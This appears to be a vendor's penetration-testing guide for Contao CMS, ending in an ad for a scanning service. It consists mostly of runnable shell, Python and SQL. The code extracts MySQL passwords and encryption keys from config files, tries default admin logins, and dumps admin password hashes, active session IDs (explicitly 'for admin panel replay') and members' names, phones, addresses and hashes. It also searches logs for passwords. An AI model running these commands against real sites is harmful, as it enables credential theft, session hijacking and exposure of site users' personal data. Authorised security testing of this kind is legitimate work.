Contao is a widely used PHP CMS especially popular in German-speaking markets (DACH region) for government, corporate, and institutional websites. Key assessment areas: system/config/localconfig.php exposes MySQL credentials ($dbPass); the install tool at /contao/install provides full database reconfiguration; tl_user stores admin accounts with bcrypt (Contao 4.8+) or SHA-512+salt hashes; tl_session holds active session IDs enabling replay attacks; and tl_member stores frontend member accounts with PII. This guide covers systematic Contao CMS security assessment.
# Contao CMS — localconfig.php MySQL credential extraction and install tool
CONTAO_URL="https://site.example.com"
# Contao 3.x: system/config/localconfig.php
python3 -c "
import re
content = open('/var/www/contao/system/config/localconfig.php').read()
for var in ['dbUser', 'dbPass', 'dbDatabase', 'dbHost', 'dbPort', 'encryptionKey']:
m = re.search(f\"\\\\\\$GLOBALS\\['TL_CONFIG'\\]\\['{var}'\\]\s*=\s*'([^']+)'\", content)
if m: print(f'{var}: {m.group(1)[:60]}')
" 2>/dev/null
# \$GLOBALS['TL_CONFIG']['dbPass'] = 'mysql-password'; <-- MySQL password (CRITICAL)
# \$GLOBALS['TL_CONFIG']['encryptionKey'] = 'hex-key'; <-- Data encryption key
# Contao 4.x+ uses .env
cat /var/www/contao/.env 2>/dev/null | \
grep -E "DATABASE_URL|APP_SECRET|MAILER_"
# DATABASE_URL=mysql://contao:password@localhost/contao
# Check localconfig web access (must return 403)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${CONTAO_URL}/system/config/localconfig.php" 2>/dev/null)
echo "/system/config/localconfig.php: HTTP ${STATUS}"
# Contao Install Tool at /contao/install (protected by install tool password)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${CONTAO_URL}/contao/install" 2>/dev/null)
echo "/contao/install: HTTP ${STATUS}"
# Test admin credentials at /contao/login (Contao 4.x)
for CRED in "admin:admin" "admin@example.com:password"; do
EMAIL=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "${CONTAO_URL}/contao/login_check" \
-d "_username=${EMAIL}&_password=${PASS}" \
-c /tmp/contao_c -b /tmp/contao_c -L 2>/dev/null)
echo "${EMAIL}/${PASS}: HTTP ${STATUS}"
done
# Contao admin panel — file manager and extension assessment
CONTAO_URL="https://site.example.com"
# Contao admin at /contao (Contao 4.x+) or /typolight (very old)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${CONTAO_URL}/contao" 2>/dev/null)
echo "/contao: HTTP ${STATUS}"
# Contao File Manager (/contao?do=files)
# Admin access required; uploads to files/ directory (web-accessible)
# File type restriction: configured in System → Settings → Allowed file types
# Test PHP execution in files/ directory
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${CONTAO_URL}/files/test.php" 2>/dev/null)
echo "/files/test.php: HTTP ${STATUS}"
# Contao Extension Repository — install PHP extensions via admin
# Admin session required
ADMIN_SESS="extracted-contao-session"
curl -s "${CONTAO_URL}/contao?do=repository_manager" \
-b "PHP_SESSION_ID=${ADMIN_SESS}" 2>/dev/null | head -5
# Contao version disclosure
curl -s "${CONTAO_URL}/contao" 2>/dev/null | \
grep -oP 'Contao[\s/]*\K[\d.]+' | head -1
# Also visible in composer.lock or vendor/contao/core-bundle/composer.json
cat /var/www/contao/vendor/contao/core-bundle/composer.json 2>/dev/null | \
python3 -c "import json,sys; d=json.load(sys.stdin); print('version:', d.get('version'))"
# Contao CMS MySQL database — tl_user hash and tl_session token extraction
DB_PASS="extracted-db-password"
mysql -u contao -p"${DB_PASS}" contao 2>/dev/null << 'EOF'
-- tl_user — Contao backend (admin) user accounts
SELECT u.id, u.name, u.username, u.email, u.password,
u.admin, -- 1 = super-admin (full backend access)
u.groups, -- JSON array of group IDs
u.lastLogin, u.currentLogin,
u.loginAttempts, -- failed login counter
u.locked,
u.disable
FROM tl_user u
WHERE u.disable = ''
ORDER BY u.admin DESC, u.id;
-- password: bcrypt ($2y$10$...) in Contao 4.8+
-- SHA-512+salt in older Contao (128-char hex)
-- admin=1: unrestricted backend access including extension installation
-- tl_session — active backend sessions
SELECT s.sessionID, s.pid, s.tstamp,
s.ip, s.ua,
u.username, u.admin
FROM tl_session s
JOIN tl_user u ON u.id = s.pid
WHERE s.tstamp > UNIX_TIMESTAMP(NOW() - INTERVAL 1 HOUR)
ORDER BY s.tstamp DESC;
-- sessionID: PHP session ID — set as PHP_SESSION_ID cookie for admin panel replay
-- tl_member — frontend member accounts (website users)
SELECT m.id, m.username, m.email, m.password,
m.firstname, m.lastname, m.phone, m.mobile,
m.street, m.city, m.postal, m.country,
m.company, m.dateAdded, m.lastLogin
FROM tl_member m
WHERE m.disable = '' AND m.login = 1
ORDER BY m.id
LIMIT 20;
-- All frontend member accounts including PII and bcrypt password hashes
-- loginAttempts and locked fields — may reveal security event patterns
-- tl_log — Contao system log (may contain credential data)
SELECT l.id, l.tstamp, l.source, l.action, l.text
FROM tl_log l
WHERE l.text LIKE '%password%' OR l.text LIKE '%login%'
ORDER BY l.tstamp DESC
LIMIT 20;
EOF
| Security Test | Method | Risk |
|---|---|---|
| system/config/localconfig.php MySQL $dbPass and encryptionKey extraction | Read localconfig.php — $dbPass + encryptionKey; full database access to tl_user hashes and tl_session active tokens; encrypted field decryption | Critical |
| Contao install tool /contao/install accessibility with default password | GET /contao/install — if accessible, full database reconfiguration and admin user creation without existing credentials | Critical |
| tl_session active PHP session ID extraction for backend replay | MySQL SELECT sessionID FROM tl_session JOIN tl_user WHERE admin=1 — set as session cookie for instant admin panel access without password | High |
| tl_user SHA-512 or bcrypt hash extraction with admin=1 identification | MySQL SELECT password FROM tl_user WHERE admin=1 — SHA-512 (128-char hex) in Contao <4.8 cracks quickly on GPU; bcrypt ($2y$) in 4.8+ | High |
| tl_member frontend member PII and password hash extraction | MySQL SELECT email, firstname, lastname, phone, password FROM tl_member — all website member accounts with PII and password hashes | High |
Ironimo tests Contao deployments for system/config/localconfig.php MySQL $dbPass and encryptionKey web and filesystem extraction, Contao install tool /contao/install accessibility and default password testing, admin credential brute-force at /contao/login_check, tl_user SHA-512 or bcrypt hash extraction with admin=1 superadmin identification, tl_session active PHP session ID enumeration enabling backend replay without password, tl_member frontend user PII and credential extraction, files/ directory PHP execution verification, /system/config/ web accessibility check, Contao extension inventory for CVE detection, and Contao version disclosure via composer.json for security advisory targeting.
Start free scan